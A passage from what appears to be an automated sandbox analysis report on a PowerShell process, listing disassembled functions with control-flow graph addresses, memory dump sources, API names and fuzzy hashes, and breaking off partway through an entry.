74c41f1-74c41f7 291->294 304 74c41fd-74c4209 294->304 305 74c41f9-74c41fb 294->305 302 74c4153-74c4155 298->302 299->302 336 74c42d5-74c42fe 300->336 337 74c4283-74c4288 300->337 308 74c429f-74c42a5 301->308 309 74c4297-74c429c 301->309 302->291 313 74c415b-74c415d 302->313 314 74c420b-74c4225 304->314 305->314 315 74c3d87-74c3d89 306->315 307->315 316 74c42ab-74c42b7 308->316 317 74c42a7-74c42a9 308->317 319 74c415f-74c4165 313->319 320 74c4177-74c417e 313->320 315->251 323 74c3d8f-74c3d96 315->323 324 74c42b9-74c42d2 316->324 317->324 328 74c4169-74c4175 319->328 329 74c4167 319->329 330 74c4196-74c41d7 320->330 331 74c4180-74c4186 320->331 323->243 333 74c3d9c-74c3da1 323->333 335 74c3fc4-74c3fc6 325->335 326->335 328->320 329->320 338 74c4188 331->338 339 74c418a-74c4194 331->339 340 74c3db9-74c3dc8 333->340 341 74c3da3-74c3da9 333->341 335->270 344 74c3fcc-74c4003 335->344 358 74c432d-74c4335 336->358 359 74c4300-74c4326 336->359 338->330 339->330 340->251 355 74c3dce-74c3dec 340->355 347 74c3dad-74c3db7 341->347 348 74c3dab 341->348 366 74c401d-74c4024 344->366 367 74c4005-74c400b 344->367 347->340 348->340 355->251 365 74c3df2-74c3e17 355->365 368 74c434e-74c435c 358->368 369 74c4337-74c434d 358->369 359->358 365->251 392 74c3e1d-74c3e24 365->392 370 74c403c-74c407d 366->370 371 74c4026-74c402c 366->371 375 74c400d 367->375 376 74c400f-74c401b 367->376 372 74c435e-74c437b 368->372 373 74c4395-74c439f 368->373 369->368 377 74c402e 371->377 378 74c4030-74c403a 371->378 387 74c437d-74c438f 372->387 388 74c43e5-74c43ea 372->388 381 74c43a8-74c43ae 373->381 382 74c43a1-74c43a5 373->382 375->366 376->366 377->370 378->370 384 74c43b4-74c43c0 381->384 385 74c43b0-74c43b2 381->385 391 74c43c2-74c43e2 384->391 385->391 387->373 388->387 395 74c3e6a-74c3e9d 392->395 396 74c3e26-74c3e41 392->396 407 74c3ea4-74c3ead 395->407 401 74c3e5b-74c3e5f 396->401 402 74c3e43-74c3e49 396->402 406 74c3e66-74c3e68 401->406 404 74c3e4d-74c3e59 402->404 405 74c3e4b 402->405 404->401 405->401 406->407
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2059610892.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_74c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: 4'^q$4'^q$4'^q$4'^q
                                                            • API String ID: 0-1420252700
                                                            • Opcode ID: 2e89a71f23c17c6c517cc6451245856cde5b6e6f8c0b727c8c8b771646ed6c83
                                                            • Instruction ID: 0d99339346647150437db6f3d69db39e7a9cbc2cc0c2b72aab330a38e5cfe0dc
                                                            • Opcode Fuzzy Hash: 2e89a71f23c17c6c517cc6451245856cde5b6e6f8c0b727c8c8b771646ed6c83
                                                            • Instruction Fuzzy Hash: AB1246B57042568FCB65DE6D99116EBBFA2AFC2310F1484AFD4058F391DB32C846C7A2
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 083C7158 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 477 83c7158-83c719b 479 83c71a3-83c71cf SetThreadToken 477->479 480 83c71d8-83c71f5 479->480 481 83c71d1-83c71d7 479->481 481->480
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2063521638.00000000083C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_83c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID: ThreadToken
                                                            • String ID:
                                                            • API String ID: 3254676861-0
                                                            • Opcode ID: 931f16d9d1dc44e2457aa814a327698676f945e0e907487b379e320d9adcb686
                                                            • Instruction ID: 4303bdb20614ecd1a0d5c0eab533fec8441fa3ee17eecc1a8f4359c36ff35b84
                                                            • Opcode Fuzzy Hash: 931f16d9d1dc44e2457aa814a327698676f945e0e907487b379e320d9adcb686
                                                            • Instruction Fuzzy Hash: 491116B59002498FCB10DF9AC984BDEFFF8EF49324F24845AD458A7210D774A985CFA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 083C7160 Relevance: 1.5, APIs: 1, Instructions: 48threadCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 484 83c7160-83c71cf SetThreadToken 486 83c71d8-83c71f5 484->486 487 83c71d1-83c71d7 484->487 487->486
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2063521638.00000000083C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 083C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_83c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID: ThreadToken
                                                            • String ID:
                                                            • API String ID: 3254676861-0
                                                            • Opcode ID: 95412e2b8962ba10ff215edb9b4523fae92b703ef8c718f57103648c25486b36
                                                            • Instruction ID: 9dd41a02648e852577c65c5b2f2bce09d855b7f3324413b209eae75a4390e2e4
                                                            • Opcode Fuzzy Hash: 95412e2b8962ba10ff215edb9b4523fae92b703ef8c718f57103648c25486b36
                                                            • Instruction Fuzzy Hash: 5711F2B59002498FCB10DF9AC984B9EFBF8EB88324F24885AD458A7250D774A944CFA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04646FE0 Relevance: 1.4, Strings: 1, Instructions: 114COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 490 4646fe0-4646fff 491 4647105-4647143 490->491 492 4647005-4647008 490->492 519 464700a call 4647697 492->519 520 464700a call 464767c 492->520 493 4647010-4647022 495 4647024 493->495 496 464702e-4647043 493->496 495->496 502 46470ce-46470e7 496->502 503 4647049-4647059 496->503 508 46470f2 502->508 509 46470e9 502->509 504 4647065-4647073 call 464bf10 503->504 505 464705b 503->505 511 4647079-464707d 504->511 505->504 508->491 509->508 512 46470bd-46470c8 511->512 513 464707f-464708f 511->513 512->502 512->503 514 4647091-46470a9 513->514 515 46470ab-46470b5 513->515 514->512 515->512 519->493 520->493
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: (bq
                                                            • API String ID: 0-149360118
                                                            • Opcode ID: f4830fc54978adf00e85638aa7d305267ee2e8365661f1b8ae334a14786d65ea
                                                            • Instruction ID: 553d617727015ab00a9f7ba9a99ffb5e08486ee34d408381fc98a7fce56288c1
                                                            • Opcode Fuzzy Hash: f4830fc54978adf00e85638aa7d305267ee2e8365661f1b8ae334a14786d65ea
                                                            • Instruction Fuzzy Hash: 92414C74B052058FDB14DFA8C468AAEBBF2EF8E711F154099E406AB395DB31ED01CB64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464AF98 Relevance: 1.3, Strings: 1, Instructions: 81COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 521 464af98-464af9f 522 464afa6-464afaa 521->522 523 464afa1 call 464a984 521->523 524 464afac-464afb9 522->524 525 464afba-464b055 522->525 523->522 532 464b057-464b05d 525->532 533 464b05e-464b07b 525->533 532->533
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: (&^q
                                                            • API String ID: 0-2067289071
                                                            • Opcode ID: 3bbf57f5e4875a9f22ad9e30fa87a0c2df51de472c1e36953f3b0acf8a45ee15
                                                            • Instruction ID: f5eb5207436d745627aaec3c5797fddb3b362077cbc7efcd8a1ab8d24f856ffb
                                                            • Opcode Fuzzy Hash: 3bbf57f5e4875a9f22ad9e30fa87a0c2df51de472c1e36953f3b0acf8a45ee15
                                                            • Instruction Fuzzy Hash: 7221DC71A002588FCB14DFAED400A9EBFF5EF88720F24846AD048A7340DB75A905CBA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464DC88 Relevance: 1.3, Strings: 1, Instructions: 38COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 555 464dc88-464dc94 556 464dc96-464dcad 555->556 557 464dd0d-464de36 555->557 561 464dcb6-464dcc8 556->561 562 464dcaf 556->562 565 464dcca call 464dce8 561->565 566 464dcca call 464dc88 561->566 567 464dcca call 464dc98 561->567 568 464dcca call 464dcd9 561->568 562->561 564 464dcd0-464dcd3 564->557 565->564 566->564 567->564 568->564
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: +/Gn^
                                                            • API String ID: 0-58972068
                                                            • Opcode ID: d3712e350a0450d4e2b18df1a7c3bae7b470a35387571b7779f625e25cc1b439
                                                            • Instruction ID: 233a4cba014ee22f57be368a8485c4dd8ccffb632e75c59435405ea960d37251
                                                            • Opcode Fuzzy Hash: d3712e350a0450d4e2b18df1a7c3bae7b470a35387571b7779f625e25cc1b439
                                                            • Instruction Fuzzy Hash: 45F02E31F056905FCB03572969104EFBF6ADEC62B130400ABD159C7641EA20D91947F1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464DC98 Relevance: 1.3, Strings: 1, Instructions: 23COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 569 464dc98-464dcad 571 464dcb6-464dcc8 569->571 572 464dcaf 569->572 578 464dcca call 464dce8 571->578 579 464dcca call 464dc88 571->579 580 464dcca call 464dc98 571->580 581 464dcca call 464dcd9 571->581 572->571 574 464dcd0-464dcd3 575 464dd0d-464de36 574->575 578->574 579->574 580->574 581->574
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: +/Gn^
                                                            • API String ID: 0-58972068
                                                            • Opcode ID: 60e0d76f59f15112c624daebbd22e800c51be73d2a844311e48b43434cb16b15
                                                            • Instruction ID: b9b0d0e6d01d5ef03142b8c8ce0bdc1f128497590d77b7b64bec05d4a35bb826
                                                            • Opcode Fuzzy Hash: 60e0d76f59f15112c624daebbd22e800c51be73d2a844311e48b43434cb16b15
                                                            • Instruction Fuzzy Hash: B7E0C231B406141B8712AA2EA81089FB7DFDFC56B1300402EE129C7340EEA4EC0547E5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 046429F0 Relevance: .2, Instructions: 210COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 699 46429f0-4642a1e 700 4642a24-4642a3a 699->700 701 4642af5-4642b37 699->701 702 4642a3c 700->702 703 4642a3f-4642a52 700->703 706 4642c51-4642c61 701->706 707 4642b3d-4642b56 701->707 702->703 703->701 708 4642a58-4642a65 703->708 709 4642b58 707->709 710 4642b5b-4642b69 707->710 711 4642a67 708->711 712 4642a6a-4642a7c 708->712 709->710 710->706 716 4642b6f-4642b79 710->716 711->712 712->701 719 4642a7e-4642a88 712->719 717 4642b87-4642b94 716->717 718 4642b7b-4642b7d 716->718 717->706 720 4642b9a-4642baa 717->720 718->717 721 4642a96-4642aa6 719->721 722 4642a8a-4642a8c 719->722 723 4642bac 720->723 724 4642baf-4642bbd 720->724 721->701 725 4642aa8-4642ab2 721->725 722->721 723->724 724->706 729 4642bc3-4642bd3 724->729 726 4642ab4-4642ab6 725->726 727 4642ac0-4642af4 725->727 726->727 731 4642bd5 729->731 732 4642bd8-4642be5 729->732 731->732 732->706 735 4642be7-4642bf7 732->735 736 4642bfc-4642c08 735->736 737 4642bf9 735->737 736->706 740 4642c0a-4642c24 736->740 737->736 741 4642c26 740->741 742 4642c29 740->742 741->742 743 4642c2e-4642c38 742->743 744 4642c3d-4642c50 743->744
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 26635a3ac5d9c07b8aefd4319bbd717a3d9e37515c363490d4dfe9c13981423c
                                                            • Instruction ID: 7a0994cc5c8f87c36895e67c4d43b8fd589a561d5f8a4fe1d5271f9404f7f58c
                                                            • Opcode Fuzzy Hash: 26635a3ac5d9c07b8aefd4319bbd717a3d9e37515c363490d4dfe9c13981423c
                                                            • Instruction Fuzzy Hash: 26918CB4A002058FCB15CF59C4949AEFBB1FF88314B248599E915AB3A5D736FC91CFA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464BAB0 Relevance: .2, Instructions: 177COMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            • Executed
                                                            • Not Executed
                                                            control_flow_graph 745 464bab0-464bb50 751 464bb56-464bb61 745->751 752 464bb52 745->752 753 464bb66-464bbc0 call 464af98 751->753 754 464bb63 751->754 752->751 761 464bc11-464bc15 753->761 762 464bbc2-464bbc7 753->762 754->753 763 464bc26 761->763 764 464bc17-464bc21 761->764 762->761 765 464bbc9-464bbec 762->765 766 464bc2b-464bc2d 763->766 764->763 767 464bbf2-464bbfd 765->767 768 464bc52-464bc55 call 464a978 766->768 769 464bc2f-464bc50 766->769 770 464bc06-464bc0f 767->770 771 464bbff-464bc05 767->771 773 464bc5a-464bc5e 768->773 769->773 770->766 771->770 776 464bc97-464bcc6 773->776 777 464bc60-464bc89 773->777 777->776
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b1981a118809a26ad83d105bf137b646fb6196c51570aba57f1cab2336f91c70
                                                            • Instruction ID: 062783544f56b5a8d217ff4b9f8e9147334e3d5f9691f7dd71b5456d5a9f505f
                                                            • Opcode Fuzzy Hash: b1981a118809a26ad83d105bf137b646fb6196c51570aba57f1cab2336f91c70
                                                            • Instruction Fuzzy Hash: 497157B0E00248DFDB54CFA9D484A8DFFF1EF88710F14806AE819AB365EB34A845CB50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04647740 Relevance: .2, Instructions: 156COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 05019dfcc452136c2d5152c0ac49a2347841ebb851fee5fe0589869a0b1951a8
                                                            • Instruction ID: 66fe099a773edb0f99d2b3671cd558f7826692d9f64d938a9f4eafac85386079
                                                            • Opcode Fuzzy Hash: 05019dfcc452136c2d5152c0ac49a2347841ebb851fee5fe0589869a0b1951a8
                                                            • Instruction Fuzzy Hash: B751B1353042059FDB14DB79D844A6ABBEAFFC9325B1584BAE509CB352EB31EC01CB50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464BAC0 Relevance: .2, Instructions: 155COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 3e3dfc03815ba227b9901d6eb9c264dd24f1e4eb35d1392bf2d2d3ca1fdeb5ac
                                                            • Instruction ID: 9290f06b1b7929ea48285a8977650d1533317dc6b057313e96d6d1f8dd187173
                                                            • Opcode Fuzzy Hash: 3e3dfc03815ba227b9901d6eb9c264dd24f1e4eb35d1392bf2d2d3ca1fdeb5ac
                                                            • Instruction Fuzzy Hash: 456115B1E00248DFDB54CFA9C584A9DFBF5EF88710F14816AE819AB364EB30AC41CB50
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 074C3CCC Relevance: .1, Instructions: 121COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2059610892.00000000074C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 074C0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_74c0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b5369a611360442c283f453416d0c06c02498bf7506091599f93a73295445b82
                                                            • Instruction ID: 25ec16b02db927ea44511758c1dabb426ae0702ee234d0d87445bcd8174a125a
                                                            • Opcode Fuzzy Hash: b5369a611360442c283f453416d0c06c02498bf7506091599f93a73295445b82
                                                            • Instruction Fuzzy Hash: 1441E2F9A042028BCBA1DF64C5016FB7BB2AB81254F18C4AFD9109F396C775DC45CBA6
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04642B00 Relevance: .1, Instructions: 109COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 34c80c8af5a73dabdcb1f968e6e6f212023e2de7d356568b093468cd97ed36ca
                                                            • Instruction ID: 85af5c5024c1050e675c063e2370562316eea9a3354b21d3a4f16ba3b09ff7e8
                                                            • Opcode Fuzzy Hash: 34c80c8af5a73dabdcb1f968e6e6f212023e2de7d356568b093468cd97ed36ca
                                                            • Instruction Fuzzy Hash: FD415AB4A005059FCB05CF58C5A89AAFBB1FF88314B218599E915AB364D736FC91CFA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464C388 Relevance: .1, Instructions: 101COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 067ad4bc90c999a95d4bf0d26282f5e1d8bcb981f246b9c0ea54119a2b9ec0d1
                                                            • Instruction ID: b7dc1af1c0d2b49299edd324d6c9a78a5b3b700bb9a9ad10aa4620d6b6cde902
                                                            • Opcode Fuzzy Hash: 067ad4bc90c999a95d4bf0d26282f5e1d8bcb981f246b9c0ea54119a2b9ec0d1
                                                            • Instruction Fuzzy Hash: 94317C353002019FD705EB78E854B9AB7A6EFC4711F008639D60ACB365EF75A845CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 04646FD1 Relevance: .1, Instructions: 99COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 8caeb452827442e1929fe797691c474685978c9e8ca6869a4546c3c91ff441e9
                                                            • Instruction ID: d9809ca0f1c667c956a9799859f70aa305aa092884e7be4ec1f546859b5a557f
                                                            • Opcode Fuzzy Hash: 8caeb452827442e1929fe797691c474685978c9e8ca6869a4546c3c91ff441e9
                                                            • Instruction Fuzzy Hash: 94311C74B002099FDB14CFA4C598AAEBBF2AF8D711F155068E806EB351EB31EC01CB60
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464AE60 Relevance: .1, Instructions: 90COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c9f7752f80a6a4fc9dbff3e9f82286df73e185ea338ae85d8fbd7ca442f4885f
                                                            • Instruction ID: 3501bcc1913fcd3e9eb9a8fac54af80a18a260ccc1321ab315a2259dc427fc9a
                                                            • Opcode Fuzzy Hash: c9f7752f80a6a4fc9dbff3e9f82286df73e185ea338ae85d8fbd7ca442f4885f
                                                            • Instruction Fuzzy Hash: E0315CB0A40209AFDF48DFB9D5947AEBFF6AFC9310F148069E405E7350EA349C418BA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464AD28 Relevance: .1, Instructions: 85COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f5707fca8c1029a8858e6751367578b3ebbec33c8792cc37d900ac9f9f143f8b
                                                            • Instruction ID: 7022f8461a14d9246f82a29dd71e76811b739f624abd946ff7251c540bee752f
                                                            • Opcode Fuzzy Hash: f5707fca8c1029a8858e6751367578b3ebbec33c8792cc37d900ac9f9f143f8b
                                                            • Instruction Fuzzy Hash: 783161B4A00285AFDB45EFA4D854AAEBBB2EF84304F1184A9D214AB395DA34DD41CF91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464AE70 Relevance: .1, Instructions: 84COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 33a51188377642d6f6740c69ff457025305288ac2da3b41e815d2fab1be46d28
                                                            • Instruction ID: bbacefbf76dd0b8385619fc3d58d8447f2e170a77c6aad6497384781a0f445e5
                                                            • Opcode Fuzzy Hash: 33a51188377642d6f6740c69ff457025305288ac2da3b41e815d2fab1be46d28
                                                            • Instruction Fuzzy Hash: AE315EB0A40209AFDF48DFA9C5947AEBBF6AFC9310F148069E405E7354FA349C418BA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464DFC0 Relevance: .1, Instructions: 83COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 212a1e838ccdc2435220cf2d3ee50de02afa5fb1129a689d519d8701d2529111
                                                            • Instruction ID: 658521655385330c3252028627c9c52576846c4e827c6c26846688b7d30e80cb
                                                            • Opcode Fuzzy Hash: 212a1e838ccdc2435220cf2d3ee50de02afa5fb1129a689d519d8701d2529111
                                                            • Instruction Fuzzy Hash: 97317A30E002048FCB58DF68D058AAEBBF2BF88710F14456AD406EB760DB75AC81CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 046493F0 Relevance: .1, Instructions: 77COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f76fabb5902cde472b609d2f9fb9591152aaa065e2d10c9d2953118f6d4d0fee
                                                            • Instruction ID: c8b34d86256458fc102f47eb420adb91a506e98a9bb7efa40912ed79bf9ce862
                                                            • Opcode Fuzzy Hash: f76fabb5902cde472b609d2f9fb9591152aaa065e2d10c9d2953118f6d4d0fee
                                                            • Instruction Fuzzy Hash: 4C3169B5A017448EDB64CF7AD4883CABFF2EF88324F28C41ED84D9B255E67464858F51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464AD38 Relevance: .1, Instructions: 77COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6695d6843a074063766c67b2bb8fc2634acd45404017f03c2dee5998e15b3223
                                                            • Instruction ID: 2d1e4d2fdda851003a8f041a03264a4372ce70a86c6fc89fef2352133f8ceb1d
                                                            • Opcode Fuzzy Hash: 6695d6843a074063766c67b2bb8fc2634acd45404017f03c2dee5998e15b3223
                                                            • Instruction Fuzzy Hash: FB3152B4E00149AFDB44EFA4D855AAEBBB3EFC4304F1184A9D215AB394DA35DD018F90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0464DFD0 Relevance: .1, Instructions: 77COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2041399443.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_4640000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 68e056760e5a63392fd4f2086b9e037e134e63c2ca7b990765b9adebe9aa350e
                                                            • Instruction ID: 8b4bf10bd55ce7ea236b3640b339f357d2eb637e5165d47b9d6e11201847beb0
                                                            • Opcode Fuzzy Hash: 68e056760e5a63392fd4f2086b9e037e134e63c2ca7b990765b9adebe9aa350e
                                                            • Instruction Fuzzy Hash: 08312770E002049FCB58DF68D458AAEBBF2BF88710F144569D406EB790EB75AC81CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CFF3D8 Relevance: .1, Instructions: 76COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2040850910.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_5_2_2cfd000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ca3cbcfe0bc71bac46ce7962797e741f57132c9bbceb26644ef826b6bdfdf633
                                                            • Instruction ID: 5f1145e22a53a33c37f25f150e8f24b4baa89e274156aa55130e04884b4e521a
                                                            • Opcode Fuzzy Hash: ca3cbcfe0bc71bac46ce7962797e741f57132c9bbceb26644ef826b6bdfdf633
                                                            • Instruction Fuzzy Hash: 56210372600200EFDF85DF14D9C0B26BFA5FB88314F24C5ADEA094B696C33AD456CBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02CFF02C Relevance: .1, Instructions: 72COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000005.00000002.2040850910.0000000002CFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CFD000, based on PE: false
                                                            Joe Sandbox IDA Plugin
